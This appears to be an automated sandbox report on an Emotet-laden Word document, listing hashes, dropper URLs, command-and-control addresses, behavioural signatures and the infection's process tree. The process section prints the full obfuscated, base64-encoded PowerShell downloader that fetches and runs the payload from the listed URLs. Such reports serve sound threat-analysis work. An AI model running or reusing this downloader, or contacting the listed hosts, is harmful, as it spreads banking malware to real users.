emotet | ac02dd4f0106b2f7e7b97558983f04377892dd24af1c4babd3cb13a1ba81d7e8

General

Target
emotet_e1_ac02dd4f0106b2f7e7b97558983f04377892dd24af1c4babd3cb13a1ba81d7e8_2020-09-30__073310543737._doc.doc
Size 138KB
Sample200930-25vsmem2rx
SHA256 ac02dd4f0106b2f7e7b97558983f04377892dd24af1c4babd3cb13a1ba81d7e8
MD5 6c9e08c64e1f26ef3efbbdf0c5ec9cd7
SHA1 1c6d9d7e0d6f746033300ff5d8f19b71b84bee66
SHA512 a24dcfcce61b091385efdfe5f6fb8e9960d55e3ae9fa23d94604616cdcef32bf4d4144cbe954af93f87f2048fbe74c802f0f4309294e5cc703b6b7c4fcb3d6a9
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://cab-wise.com/wp-admin/Ty/
exe.dropper
http://employmentplacestaffing.com/wp-images/6V9/
exe.dropper
https://avidaverrasettings.com/wp-content/j/
exe.dropper
https://dagranitegiare.com/wp-admin/EL/
exe.dropper
https://bbclube.com/wp-admin/FT/
exe.dropper
https://hiancoffeebike.com/F/
exe.dropper
https://kenhnoithatgiare.com/q7/

Extracted

Family

emotet

C2

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2076	660	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/772-15-0x0000000000760000-0x0000000000770000-memory.dmp	emotet
behavioral2/memory/772-15-0x0000000000760000-0x0000000000770000-memory.dmp	emotet
behavioral2/memory/2172-21-0x0000000002120000-0x0000000002130000-memory.dmp	emotet
behavioral2/memory/2172-21-0x0000000002120000-0x0000000002130000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	2076	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
772	Nyczl3x.exe
2172	winmm.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\DMAlertListener.ProxyStub\winmm.exe	Nyczl3x.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2076	POwersheLL.exe
2076	POwersheLL.exe
2076	POwersheLL.exe
2172	winmm.exe
2172	winmm.exe
2172	winmm.exe
2172	winmm.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2076	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
772	Nyczl3x.exe
772	Nyczl3x.exe
2172	winmm.exe
2172	winmm.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2076 wrote to memory of 772	2076	POwersheLL.exe	80
PID 2076 wrote to memory of 772	2076	POwersheLL.exe	80
PID 2076 wrote to memory of 772	2076	POwersheLL.exe	80
PID 772 wrote to memory of 2172	772	Nyczl3x.exe	83
PID 772 wrote to memory of 2172	772	Nyczl3x.exe	83
PID 772 wrote to memory of 2172	772	Nyczl3x.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_ac02dd4f0106b2f7e7b97558983f04377892dd24af1c4babd3cb13a1ba81d7e8_2020-09-30__073310543737._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3828

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABUAHAAbABrAGMAcQA5AD0AKAAnAFQAJwArACgAJwA3AGIAJwArACcAMgBsADQAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAEUAcgBQAHIATwBmAEkAbABlAFwAdAAzAHQAVwBjADUAOABcAGMANAAxAEoAbQBjAFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAYABSAGkAYABUAHkAUABgAFIAbwB0AG8AYABjAE8ATAAiACAAPQAgACgAKAAnAHQAbABzADEAMgAnACsAJwAsACcAKQArACgAJwAgAHQAJwArACcAbABzADEAJwApACsAJwAxACcAKwAoACcALAAgAHQAJwArACcAbABzACcAKQApADsAJABHAHcAMgBjAGMAMQBwACAAPQAgACgAJwBOAHkAJwArACgAJwBjAHoAbAAnACsAJwAzACcAKQArACcAeAAnACkAOwAkAFgANQA3AGwAbQBhADkAPQAoACgAJwBCACcAKwAnAGIAbAAnACkAKwAoACcAeQAnACsAJwBwAGYAcwAnACkAKQA7ACQARgA0AHYAOQBlAGMAawA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADEAJwArACcAdQBwAFQAMwAnACkAKwAoACcAdAB3AGMAJwArACcANQA4ACcAKQArACcAMQAnACsAKAAnAHUAcABDACcAKwAnADQAMQBqAG0AJwApACsAJwBjACcAKwAoACcAdQAnACsAJwAxAHUAJwApACsAJwBwACcAKQAgAC0AYwByAGUAcABMAEEAQwBFACgAWwBjAEgAQQBSAF0ANAA5ACsAWwBjAEgAQQBSAF0AMQAxADcAKwBbAGMASABBAFIAXQAxADEAMgApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAEcAdwAyAGMAYwAxAHAAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABWAGEANgBoADMAZgBxAD0AKAAoACcATABsACcAKwAnADEAJwApACsAJwB5ACcAKwAoACcAXwAnACsAJwA3AHAAJwApACkAOwAkAE8AZQBlAHQAZAB4AG8APQAmACgAJwBuACcAKwAnAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBMAGkAZQBOAFQAOwAkAFAAYQBmAGsAbgBjADcAPQAoACgAJwBoAHQAdABwACcAKwAnADoALwAvACcAKQArACcAYwAnACsAKAAnAGEAYgAtAHcAaQBzAGUAJwArACcALgBjAG8AJwArACcAbQAvAHcAcAAtACcAKwAnAGEAZAAnACsAJwBtAGkAbgAvACcAKQArACgAJwBUAHkALwAnACsAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwBlACcAKwAnAG0AcABsAG8AJwApACsAKAAnAHkAbQAnACsAJwBlAG4AdABwACcAKQArACgAJwBsAGEAJwArACcAYwBlACcAKQArACcAcwB0ACcAKwAoACcAYQBmAGYAaQAnACsAJwBuAGcALgBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwB3AHAAJwApACsAKAAnAC0AaQBtAGEAJwArACcAZwAnACkAKwAoACcAZQAnACsAJwBzAC8AJwApACsAKAAnADYAVgA5ACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAvAGEAJwArACcAdgAnACkAKwAoACcAaQBkAGEAJwArACcAdgAnACkAKwAoACcAZQByAHIAYQAnACsAJwBzACcAKwAnAGUAJwApACsAJwB0ACcAKwAoACcAdAAnACsAJwBpAG4AJwApACsAKAAnAGcAJwArACcAcwAuAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAHcAJwApACsAKAAnAHAAJwArACcALQBjACcAKQArACgAJwBvACcAKwAnAG4AdAAnACkAKwAoACcAZQAnACsAJwBuAHQAJwArACcALwBqAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcABzACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBkACcAKQArACgAJwBhACcAKwAnAGcAcgAnACkAKwAoACcAYQBuACcAKwAnAGkAJwApACsAJwB0AGUAJwArACcAZwAnACsAJwBpACcAKwAnAGEAcgAnACsAKAAnAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwB3ACcAKwAnAHAAJwApACsAJwAtACcAKwAoACcAYQAnACsAJwBkAG0AJwApACsAKAAnAGkAJwArACcAbgAvACcAKwAnAEUATAAvACoAaAB0ACcAKwAnAHQAcAAnACkAKwAnAHMAJwArACgAJwA6AC8ALwAnACsAJwBiACcAKQArACgAJwBiAGMAbAB1AGIAJwArACcAZQAnACkAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwB3AHAALQAnACsAJwBhAGQAbQBpAG4AJwApACsAJwAvACcAKwAoACcARgAnACsAJwBUAC8AJwApACsAJwAqACcAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcABzADoAJwArACcALwAnACkAKwAoACcALwBoACcAKwAnAGkAYQBuACcAKwAnAGMAbwBmAGYAJwApACsAKAAnAGUAZQBiAGkAawAnACsAJwBlAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8ARgAvACoAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAcwAnACsAJwA6AC8ALwAnACsAJwBrACcAKQArACgAJwBlAG4AaAAnACsAJwBuAG8AaQAnACkAKwAnAHQAaAAnACsAJwBhAHQAJwArACcAZwAnACsAJwBpAGEAJwArACcAcgBlACcAKwAoACcALgBjACcAKwAnAG8AbQAnACkAKwAnAC8AcQAnACsAJwA3ACcAKwAnAC8AJwApAC4AIgBzAFAAYABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFUAOQBvAGkAdgB3AGcAPQAoACcAWQA3ACcAKwAnADEAagAnACsAKAAnAHIAMQAnACsAJwBfACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARAAwAGkANQBxADUAbgAgAGkAbgAgACQAUABhAGYAawBuAGMANwApAHsAdAByAHkAewAkAE8AZQBlAHQAZAB4AG8ALgAiAGQATwBXAG4AYABMAG8AYQBkAEYAYABpAEwARQAiACgAJABEADAAaQA1AHEANQBuACwAIAAkAEYANAB2ADkAZQBjAGsAKQA7ACQARQA0ADYAawA4AHEAeAA9ACgAKAAnAEsAJwArACcAdgA3ACcAKQArACgAJwBiACcAKwAnAGwAagBnACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEYANAB2ADkAZQBjAGsAKQAuACIAbABFAG4ARwBgAFQAaAAiACAALQBnAGUAIAAyADMAMwAzADcAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQARgA0AHYAOQBlAGMAawApADsAJABJADcAcgAzAGoAMQBoAD0AKAAnAEQAagAnACsAKAAnADcAcQBnADUAJwArACcAMQAnACkAKQA7AGIAcgBlAGEAawA7ACQASQBzAGgAYQBlAGQAbQA9ACgAJwBRACcAKwAoACcANQBhADEAZgBvACcAKwAnAHoAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE8AeABmADUAcwB4ADgAPQAoACgAJwBRAHIAJwArACcAMwAnACkAKwAnAGcAMgAnACsAJwBsAGkAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Users\Admin\T3twc58\C41jmcu\Nyczl3x.exe
  "C:\Users\Admin\T3twc58\C41jmcu\Nyczl3x.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:772
- - C:\Windows\SysWOW64\DMAlertListener.ProxyStub\winmm.exe
    "C:\Windows\SysWOW64\DMAlertListener.ProxyStub\winmm.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2172

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/772-15-0x0000000000760000-0x0000000000770000-memory.dmp

Download

memory/2076-8-0x00000247B4510000-0x00000247B4511000-memory.dmp

Download

memory/2076-6-0x00007FFA38E90000-0x00007FFA3987C000-memory.dmp

Download

memory/2076-7-0x000002479C110000-0x000002479C111000-memory.dmp

Download

memory/2172-21-0x0000000002120000-0x0000000002130000-memory.dmp

Download

memory/3828-0-0x00007FFA402D0000-0x00007FFA40996000-memory.dmp

Download

memory/3828-5-0x0000018BF06EB000-0x0000018BF06EF000-memory.dmp

Download

memory/3828-4-0x0000018BF06EB000-0x0000018BF06EF000-memory.dmp

Download

memory/3828-3-0x0000018BF06EB000-0x0000018BF06EF000-memory.dmp

Download

memory/3828-2-0x0000018BF06EB000-0x0000018BF06EF000-memory.dmp

Download

memory/3828-1-0x0000018BF0697000-0x0000018BF069A000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads